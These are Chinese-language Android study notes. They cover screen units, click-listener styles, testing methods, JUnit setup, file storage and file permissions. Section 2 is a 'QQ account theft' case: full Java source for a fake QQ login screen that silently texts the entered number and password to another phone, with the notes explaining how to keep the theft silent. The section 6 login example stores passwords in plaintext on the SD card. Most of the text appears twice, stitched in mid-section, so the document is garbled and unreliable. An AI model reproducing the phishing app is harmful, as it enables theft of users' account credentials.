1.Android的日常单位,我们一般用到的dp sp dp是设备无关像素,大小随屏幕实际的像素密度变化而变化
相对于px而言,px是屏幕的物理像素,使用这个将程序的额控件大小固定会使屏幕适配难度增大许多,因此
在开发中我们通常使用dp来控制控件的大小.
sp是于刻度无关单位,主要是针对于字体的,其特性和dp类似.
2.QQ盗号案例
这个案例主要是回顾我们的布局和EditText的方法使用,其业务逻辑大概就是通过EditText的getText方法获取
文本输入框里的内容,获取到内容后将Editable类型的数据通过toString()和trim()方法转变为字符串.
一个新的逻辑方法 SmsMannager.getDefault()获取到信息管理器对象,SmsMannager.getDefault().sendTextMessage()
方法来发送短信,方法需要5个参数,第一个是接受端的电话号码,第二个是本机地址(null代替) 第三个是发送的内容,第四
个和第五个是短信回执方面的,作为盗号的话,发送短信应该是静默状态下发送出去的,所以后面两个参数选择null.
package com.heima.steal;
import android.os.Bundle;
import android.app.Activity;
import android.telephony.gsm.SmsManager;
import android.text.TextUtils;
import android.view.Menu;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
EditText qq;
EditText pwd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
qq=(EditText) findViewById(R.id.qq);
pwd=(EditText) findViewById(R.id.password);
}
public void login(View v){
String number=qq.getText().toString().trim();
String password=pwd.getText().toString().trim();
if (TextUtils.isEmpty(number)||TextUtils.isEmpty(password)) {
Toast.makeText(this, "账号或密码不能为空", 0).show();
return;
}
SmsManager.getDefault().sendTextMessage("5556", null, number+"--"+password, null, null);
}
}
3.按钮点击事件的四种写法
a.采用点击事件监听关联到view对象上 v.setOnclickListener(OnclickListener子类对象),通过一个内部类来实现OnclickListener接口
并复写其onclick方法,当对象被点击后,onclick方法自动被调用.开发中基本不用;
b.采用匿名内部类的方式 new OnclickListener(){public void onclick(View v){}}=OnclickListener子类对象,适用于点击事件较少的
界面,开发中偶尔使用;
c.让当前的Activity实现OnclickListener接口,直接在当前类中复写onclick方法,具体结构是:
mainActivity extends Activity implements OnclickListener,我们在设置点击监听的时候只需要在参数里写上this即可v.setOnclickListener(this)
,在onclick方法中需要用到switch语句
switch(v.getId()){
case R.id.id1:
按钮1点击事件语句体;
break;
case R.id.id2:
按钮2点击事件语句体;
break;
case R.id.id3:
按钮3点击事件语句体;
break;
case R.id.id4:
按钮4点击事件语句体;
break;
case R.id.id5:
按钮5点击事件语句体;
break;
.....
}
多个按钮通过switch语句绑定不同的点击事件,通过id调用不同的方法.
d.在布局文件的xml声明按钮的属性 android:onClick="方法名" ,再在java代码主类中直接写该方法,在我们点击
这个按钮时,方法就被调用了.这个方法很方便,但是代码可读性不高,不利于维护,一般不使用.
4.测试方式
a.根据是否知道源码
i> 黑盒测试:不知道源码,进行简单的输入数据和输出数据测试
ii>白盒测试:知道源码,又叫结构测试,透明盒测试,是基于代码或者结构的测试.
两种测试方式对比而言,黑盒测试较为简单,但是找到bug很难,白盒测试难度较大.
b.根据测试粒度分类
i>方法测试 FunctionTest 测试单个方法
ii>单元测试 JunitTest 方法里面会调用其它方法
iii>联调测试 IntegerationTest后台与前台集成,各模块之间的集成测试
c.根据测试次数分类
i>冒烟测试 源于硬件的测试,在android中,我们有一个adb命令,在adb shell后通过monkey 1000→次数
来调出猴子测试我们的整个系统上安装的软件,通过monkey -p软件包名 1000次数来对特定软件测试
ii>压力测试 一般用于后台,像被观察者设定一定的任务量,查看完成情况
5.Android Junit测试
这个测试方法是从JAVA的junit测试引申而来的,不同的是Android Junit需要将软件部署到安卓手机或者dalvik虚拟
机里面才能进行测试,具体的步骤是
i>写一个类继承AndroidTestCase
ii>定义公有的测试方法并抛出异常
ii>在清淡文件中添加 测试指令集
<instrumentation
android:name="android.test.InstrumentationTestRunner"
android:targetPackage="com.heima.junit"
></instrumentation>
测试jar包 <uses-library android:name="android.test.runner"/>
注意位置,指令集要写在<manifest>节点下 测试jar包要写在<application>节点下
6.登陆案例的私有文件读写和写入SDcard
私有文件读写和写入sdcard大体代码相同,首先我们要在相应的目录下创建文件,而得到文件对象的方法是不同的
对于私有文件的读写,其目录是data/data/包名 直接写完整的路径属于硬编码,不建议,我们开发时一般采用getFilesDir()
方法来获取data/data/包名/files目录 或者通过getCacheDir()获取data/data/包名/cache目录 两个目录的不同之处是
在应用管理中删除数据会有提示,这里删除的就是files里面的数据;
而清除缓存是将cache文件夹里的数据清除掉,没有任何提示
我们在通过File创建对象时,在files和cache目录下创建的文件都是这个程序的私有文件夹,当前程序只有权限在其私有文件夹
下创建文件.还有一个openFileInput()方法,由于创建的文件是公有的,不安全,存在风险.
对于sdcard的文件读写,首先要找到对应的sdcard路径,不同的系统路径也不同,因此为了让程序拥有更好的兼容性,我们
需要利用Environment.getExternalStorageDirectory()来获取sdcard存在的真实路径.不过,在此之前,我们还必须先判断sdcard
是否挂载:先获取外部存储的状态---Environment.getExternalStorageState()
对应的状态有Environment.MEDIA_MOUNTED 已挂载
Environment.MEDIA_REMOVED 未挂载
...
另外,我们还需要判断外部存储的控件是否充足,在下载大型文件的时候必须要先进行判断,
long freeSpace = Environment.getExternalStorageDirectory().getFreeSpace(); 这个long类型的返回值需要经过格式化
得到相应的大小:String size = Formatter.formatFileSize(this, freeSpace);
package com.heima.login;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.text.TextUtils;
import android.text.format.Formatter;
import android.view.View;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
EditText qq;
EditText pwd;
CheckBox remember;
//CheckBox nosee;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
qq=(EditText) findViewById(R.id.qq);
pwd=(EditText) findViewById(R.id.password);
remember=(CheckBox) findViewById(R.id.remember);
//nosee=(CheckBox) findViewById(R.id.nosee);
File f=new File(Environment.getExternalStorageDirectory(), "info.txt");
if (f.exists()&&f.length()>0) {
try {
FileInputStream fis=new FileInputStream(f);
BufferedReader br=new BufferedReader(new InputStreamReader(fis));
String str = br.readLine();
//br.close();
qq.setText(str.split("--")[0]);
pwd.setText(str.split("--")[1]);
} catch (Exception e) {
e.printStackTrace();
}
}
}
public void login(View v){
String username=qq.getText().toString().trim();
String password=pwd.getText().toString().trim();
if (TextUtils.isEmpty(username)||TextUtils.isEmpty(password)) {
Toast.makeText(this, "账号或者密码不能为空",Toast.LENGTH_SHORT).show();
return;
}
if (remember.isChecked()) {
try {
if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
Toast.makeText(this, "sd卡不可用,请检查sd卡的状态", 0).show();
return;
}
long freeSpace = Environment.getExternalStorageDirectory().getFreeSpace();
String size = Formatter.formatFileSize(this, freeSpace);
Toast.makeText(this, "可用空间:"+size, Toast.LENGTH_SHORT).show();
File f=new File(Environment.getExternalStorageDirectory(), "info.txt");
FileOutputStream fos=new FileOutputStream(f);
fos.write((username+"--"+password).getBytes());
fos.close();
Toast.makeText(this, "保存成功",Toast.LENGTH_SHORT).show();
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "保存失败",Toast.LENGTH_SHORT).show();
}
}
}
}
7.Android下的文件权限
android下的文件权限实际是由底层的Linux权限控制的 r代表read 读 w代表write 写 x代表 执行
- rwx rwx rwx 最前面的"-"的位置表示类型 -代表文件 d代表文件夹 directory
第一组rwx所在的是所有者权限
第二组是组权限
相对于px而言,px是屏幕的物理像素,使用这个将程序的额控件大小固定会使屏幕适配难度增大许多,因此
在开发中我们通常使用dp来控制控件的大小.
sp是于刻度无关单位,主要是针对于字体的,其特性和dp类似.
2.QQ盗号案例
这个案例主要是回顾我们的布局和EditText的方法使用,其业务逻辑大概就是通过EditText的getText方法获取
文本输入框里的内容,获取到内容后将Editable类型的数据通过toString()和trim()方法转变为字符串.
一个新的逻辑方法 SmsMannager.getDefault()获取到信息管理器对象,SmsMannager.getDefault().sendTextMessage()
方法来发送短信,方法需要5个参数,第一个是接受端的电话号码,第二个是本机地址(null代替) 第三个是发送的内容,第四
个和第五个是短信回执方面的,作为盗号的话,发送短信应该是静默状态下发送出去的,所以后面两个参数选择null.
package com.heima.steal;
import android.os.Bundle;
import android.app.Activity;
import android.telephony.gsm.SmsManager;
import android.text.TextUtils;
import android.view.Menu;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
EditText qq;
EditText pwd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
qq=(EditText) findViewById(R.id.qq);
pwd=(EditText) findViewById(R.id.password);
}
public void login(View v){
String number=qq.getText().toString().trim();
String password=pwd.getText().toString().trim();
if (TextUtils.isEmpty(number)||TextUtils.isEmpty(password)) {
Toast.makeText(this, "账号或密码不能为空", 0).show();
return;
}
SmsManager.getDefault().sendTextMessage("5556", null, number+"--"+password, null, null);
}
}
3.按钮点击事件的四种写法
a.采用点击事件监听关联到view对象上 v.setOnclickListener(OnclickListener子类对象),通过一个内部类来实现OnclickListener接口
并复写其onclick方法,当对象被点击后,onclick方法自动被调用.开发中基本不用;
b.采用匿名内部类的方式 new OnclickListener(){public void onclick(View v){}}=OnclickListener子类对象,适用于点击事件较少的
界面,开发中偶尔使用;
c.让当前的Activity实现OnclickListener接口,直接在当前类中复写onclick方法,具体结构是:
mainActivity extends Activity implements OnclickListener,我们在设置点击监听的时候只需要在参数里写上this即可v.setOnclickListener(this)
,在onclick方法中需要用到switch语句
switch(v.getId()){
case R.id.id1:
按钮1点击事件语句体;
break;
case R.id.id2:
按钮2点击事件语句体;
break;
case R.id.id3:
按钮3点击事件语句体;
break;
case R.id.id4:
按钮4点击事件语句体;
break;
case R.id.id5:
按钮5点击事件语句体;
break;
.....
}
多个按钮通过switch语句绑定不同的点击事件,通过id调用不同的方法.
d.在布局文件的xml声明按钮的属性 android:onClick="方法名" ,再在java代码主类中直接写该方法,在我们点击
这个按钮时,方法就被调用了.这个方法很方便,但是代码可读性不高,不利于维护,一般不使用.
4.测试方式
a.根据是否知道源码
i> 黑盒测试:不知道源码,进行简单的输入数据和输出数据测试
ii>白盒测试:知道源码,又叫结构测试,透明盒测试,是基于代码或者结构的测试.
两种测试方式对比而言,黑盒测试较为简单,但是找到bug很难,白盒测试难度较大.
b.根据测试粒度分类
i>方法测试 FunctionTest 测试单个方法
ii>单元测试 JunitTest 方法里面会调用其它方法
iii>联调测试 IntegerationTest后台与前台集成,各模块之间的集成测试
c.根据测试次数分类
i>冒烟测试 源于硬件的测试,在android中,我们有一个adb命令,在adb shell后通过monkey 1000→次数
来调出猴子测试我们的整个系统上安装的软件,通过monkey -p软件包名 1000次数来对特定软件测试
ii>压力测试 一般用于后台,像被观察者设定一定的任务量,查看完成情况
5.Android Junit测试
这个测试方法是从JAVA的junit测试引申而来的,不同的是Android Junit需要将软件部署到安卓手机或者dalvik虚拟
机里面才能进行测试,具体的步骤是
i>写一个类继承AndroidTestCase
ii>定义公有的测试方法并抛出异常
ii>在清淡文件中添加 测试指令集
<instrumentation
android:name="android.test.InstrumentationTestRunner"
android:targetPackage="com.heima.junit"
></instrumentation>
测试jar包 <uses-library android:name="android.test.runner"/>
注意位置,指令集要写在<manifest>节点下 测试jar包要写在<application>节点下
6.登陆案例的私有文件读写和写入SDcard
私有文件读写和写入sdcard大体代码相同,首先我们要在相应的目录下创建文件,而得到文件对象的方法是不同的
对于私有文件的读写,其目录是data/data/包名 直接写完整的路径属于硬编码,不建议,我们开发时一般采用getFilesDir()
方法来获取data/data/包名/files目录 或者通过getCacheDir()获取data/data/包名/cache目录 两个目录的不同之处是
在应用管理中删除数据会有提示,这里删除的就是files里面的数据;
而清除缓存是将cache文件夹里的数据清除掉,没有任何提示
我们在通过File创建对象时,在files和cache目录下创建的文件都是这个程序的私有文件夹,当前程序只有权限在其私有文件夹
下创建文件.还有一个openFileInput()方法,由于创建的文件是公有的,不安全,存在风险.
对于sdcard的文件读写,首先要找到对应的sdcard路径,不同的系统路径也不同,因此为了让程序拥有更好的兼容性,我们
需要利用Environment.getExternalStorageDirectory()来获取sdcard存在的真实路径.不过,在此之前,我们还必须先判断sdcard
是否挂载:先获取外部存储的状态---Environment.getExternalStorageState()
对应的状态有Environment.MEDIA_MOUNTED 已挂载
Environment.MEDIA_REMOVED 未挂载
...
另外,我们还需要判断外部存储的控件是否充足,在下载大型文件的时候必须要先进行判断,
long freeSpace = Environment.getExternalStorageDirectory().getFreeSpace(); 这个long类型的返回值需要经过格式化
得到相应的大小:String size = Formatter.formatFileSize(this, freeSpace);
package com.heima.login;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.text.TextUtils;
import android.text.format.Formatter;
import android.view.View;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.Toast;
public class MainActivity extends Activity {
EditText qq;
EditText pwd;
CheckBox remember;
//CheckBox nosee;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
qq=(EditText) findViewById(R.id.qq);
pwd=(EditText) findViewById(R.id.password);
remember=(CheckBox) findViewById(R.id.remember);
//nosee=(CheckBox) findViewById(R.id.nosee);
File f=new File(Environment.getExternalStorageDirectory(), "info.txt");
if (f.exists()&&f.length()>0) {
try {
FileInputStream fis=new FileInputStream(f);
BufferedReader br=new BufferedReader(new InputStreamReader(fis));
String str = br.readLine();
//br.close();
qq.setText(str.split("--")[0]);
pwd.setText(str.split("--")[1]);
} catch (Exception e) {
e.printStackTrace();
}
}
}
public void login(View v){
String username=qq.getText().toString().trim();
String password=pwd.getText().toString().trim();
if (TextUtils.isEmpty(username)||TextUtils.isEmpty(password)) {
Toast.makeText(this, "账号或者密码不能为空",Toast.LENGTH_SHORT).show();
return;
}
if (remember.isChecked()) {
try {
if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
Toast.makeText(this, "sd卡不可用,请检查sd卡的状态", 0).show();
return;
}
long freeSpace = Environment.getExternalStorageDirectory().getFreeSpace();
String size = Formatter.formatFileSize(this, freeSpace);
Toast.makeText(this, "可用空间:"+size, Toast.LENGTH_SHORT).show();
File f=new File(Environment.getExternalStorageDirectory(), "info.txt");
FileOutputStream fos=new FileOutputStream(f);
fos.write((username+"--"+password).getBytes());
fos.close();
Toast.makeText(this, "保存成功",Toast.LENGTH_SHORT).show();
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(this, "保存失败",Toast.LENGTH_SHORT).show();
}
}
}
}
7.Android下的文件权限
android下的文件权限实际是由底层的Linux权限控制的 r代表read 读 w代表write 写 x代表 执行
- rwx rwx rwx 最前面的"-"的位置表示类型 -代表文件 d代表文件夹 directory
第一组rwx所在的是所有者权限
第二组是组权限
第三组是其他用户权限